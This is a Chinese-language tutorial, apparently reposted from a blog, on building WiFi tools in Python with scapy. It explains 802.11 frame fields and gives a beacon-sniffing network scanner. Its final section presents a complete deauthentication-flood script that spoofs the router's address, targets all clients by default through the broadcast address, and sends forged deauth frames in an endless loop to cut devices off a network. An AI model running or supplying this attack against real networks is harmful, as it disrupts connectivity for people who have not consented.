教你用python打造WiFiddos

0x00 前言
因为在百度上很难找到有关于用python打造WiFidos的工具的,而且不希望大家成为一名脚本小子,所以我打算写一篇,需要的工具有scapy,iwconfig(能开启你网卡监听功能的工具),当然少不了python,我这里是kali2.0的环境,所以可能跟你们的有所不同


0x01配置scapy
先打开python2.7解释器,scapy是只支持2.x的,不支持3,先输入下列命令,在python解释器里面

[Python] 纯文本查看 复制代码
1
from scapy.all import *


会出现如下图的显示
 
这种情况是因为他有IPV6的东西包含了进去,这些东西不必要而且还影响整个程序的美观,所以要把这东西去掉。
在kali里面scapy有好几个,但是真正是给python用的就是这个路径:usr/share/pyshared/scapy
 
打开all.py把里面导入ipv6的东西注释掉
 
把这3行注释了在用一下

[Python] 纯文本查看 复制代码
1
from scapy.all import *


这次就不会有那个东西了
 
但是我们还没有配置完,还有一个地方要配置,因为scapy的send函数,只要发送一个数据包就会执行

[Python] 纯文本查看 复制代码
1
print "send %s packets"


还有

[Python] 纯文本查看 复制代码
1
os.write(1,'.')


但是我们如果要发送多个数据包的时候,那这种功能就变成刷屏了,
这些功能是在:
usr/share/pyshared/scapy下一个叫sendrecv,我这里直接搜索了
 
打开这个文件,找到__gen_send这个函数,然后把他的输出的地方注释了,然后在底下输入pass,不然会报错,如下图所示
 
好了我们现在就算配置完毕了。
0x02 802.11数据包结构简单分析 (不会对原理过多讲解)
要用wireshark捕获802.11数据包首先要让网卡变成监听模式
下面是iwconfig方法开启

[Shell] 纯文本查看 复制代码
1
2
3
ifconfig iface down
iwconfig iface mode monitor
ifconfig iface up


下面是aircrack-ng开启

[AppleScript] 纯文本查看 复制代码
1
airmon-ng start iface


2种方法都行,现在开始分析
首先802.11数据包有一个RadioTap头
 
注意我箭头指着的地方,那里就是RadioTap头,radiotap包含一些关于数据帧的额外信息,想了解更多可以参考http://www.radiotap.org
之后就是IEEE 802.11数据
 
这里只提几个地方
第一个Type/Subtype,简单来说,就是来声明这个数据包是什么拿来干什么的。
第二个就是receiver address(RA)和destination address(DA),为什么要把这2个放在一起讲呢,就是因为这2个其实是完全一样的,如下图


 
2个的数据包真实的地方是完全一样的,这个地址代表最终要到达的地方
第三个就是transmitter address(TA)和source address(SA),他们跟第二个也是相同,都是一样的,所以一起讲,TA就是当前发送数据包的地址,SA代表源发送地址,所以都是自己
第四个就是bssid,bssid就是路由器的地址
第五个就是ESSID(ESSID就是WiFi的名字),只会出现在type/subtype是0/8,也就是beacon frame的时候,beacon frame就是用来通知别人他的存在,里面会包含一些其他数据,其中就有ESSID,这个数据包不是上面4个那样,他是跟在他们屁股后面的,如图
 
essid就在如下图的地方
 
0x03 打造一款简易WiFi探测器
现在基础的部分讲完,开始真正实战了。
首先看看我们需要的数据包,scapy是一款很强大的工具,提供各种数据包类型,可以用ls()查看
这里我们只需要和802.11相关的,也就是如下图所示
 
也就是RadioTap()   Dot11()   Dot11Elt,当然,还有一个Dot11Deauth,但是不是这个小节要讲的,所以先不说RadioTap()也不用怎么讲,知道他是第一个就好了,这些都是用来构造数据包的方法
先来看看Dot11这个数据包
 
这里addr1就是刚刚的RA DA,addr2就是TA SA,addr3就是BSSID,(应该是这样,我也不能肯定,如果有错尽管指出)
在来看看Dot11Elt
 
这里info就是ESSID了,
还有一个函数需要了解一下,就是sniff(),他的功能就跟他的名字一样,用来嗅探的,他有1个参数需要提一下,prn=func,当嗅探到一个数据包的时候就会调用func,并且把数据包传给func
现在该说的都说了,我就把代码全部拿出来吧

[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding:utf-8
from scapy.all import *
 
wifi = {}
 
def scan(packet):
    dot = packet.getlayer(Dot11)#从数据包里面提取Dot11这一层的数据,如果没有这一层,返回None
 
    if dot != None:
        elt = dot.getlayer(Dot11Elt)#从数据包提取Dot11Elt这一层的数据
 
        if elt != None:
             
            if dot.type == 0 and dot.subtype == 8:#检查是否为beacon frame数据包,因为beacon frame是用来通知用户自己的存在的
                     bssid = dot.addr3.upper()#提取BSSID
                     essid = elt.info#提取ESSID
                     if not wifi.has_key(bssid):#检查是否已经存在字典中,以免打印重复
                         wifi[bssid]=essid
                         if essid == "":#有些路由器会隐藏自己的ESSID所以这里为空
                             essid = "<hidden>"
                         print essid+": "+bssid
 
sniff(prn=scan)#绑定scan函数


 
这就是运行效果,第一行我之前没有去掉,所以有第一行
0x04 打造WiFiDDOS器
如何DDOSWiFi呢,其实很简单,因为802.11的设计导致的,这里有一个Deauth数据,当路由器或者用户发生一些问题的时候,路由器就会发送Deauth数据包来告诉用户不能连接了,然后用户就会与路由器断开连接,所以我们就模拟这种数据包,发送数据包,来达到断网
当要发送Deauth数据包的时候,Dot11的type/subtype是0/12的时候,因为type默认为0,所以待会构造数据包的时候只用让subtype等于0xC就好,然后一个Dot11Deauth会跟在Dot11后面,就像如图的那种关系
 
就类似与这样的关系,代码就是这样构造的

[Python] 纯文本查看 复制代码
1
RadioTap()Dot11()Dot11Deauth()


有1个函数要介绍一下sendp,工作在第二层用来发送数据包的,有一个参数要说一下,就是iface=网卡,用来设置什么网卡来发送数据包的,要发送的数据包直接放在参数第一个,比如数据包的名字叫pkt,网卡为wlan0,那就是sendp(pkt,iface='wlan0')

[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding:utf-8
import sys
from scapy.all import *
from optparse import OptionParser#这个我不讲,因为不是本章重点,请自行百度
 
usage="Usage:%prog -i interface -t packet-type -a bssid -c client-MAC(optional)"
parser=OptionParser(usage)
 
parser.add_option('-i',dest="interface",help="network card")
parser.add_option('-t',dest="type",help="the reason for the termination code,0-9(optional)")
parser.add_option('-a',dest="bssid",help="the Access Point you want to attack")
parser.add_option('-c',dest="c_mac",help="the client's MAC address(optional)")
 
(options,args) = parser.parse_args()
 
if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(0)
elif options.interface is None or
     options.bssid is None:
        parser.print_help()
        sys.exit()
c_mac = options.c_mac
t_type = options.type
iface = options.interface
bssid = options.bssid
 
if t_type == None:
    t_type = 0
if c_mac == None:
    c_mac = "ff:ff:ff:ff:ff:ff".upper()#如果用户没有输入地址,就赋值为广播地址(让连接WiFi的全部断网)
 
 
 
pkt = RadioTap()/
Dot11(subtype=0x00c,addr1=c_mac,addr2=bssid,addr3=bssid)/#addr1为最终要到达的地址,addr2为来源地址这伪造成路由器MAC,addr3就不说了,subtype为0x00c代表为Deauth数据包
Dot11Deauth(reason=int(t_type))#定义为什么会断线
 
while True:
    sendp(pkt,iface=iface)#无限发送数据包


0x05 结束语
我写这篇文章,主要的目的就是不希望大家成为一名脚本小子,只会用别人的工具,而不能自己开发工具,我感觉这样是很窝囊的,一辈子只能活在别人的脚下。

原文地址:https://www.cnblogs.com/ichunqiu/p/7269144.html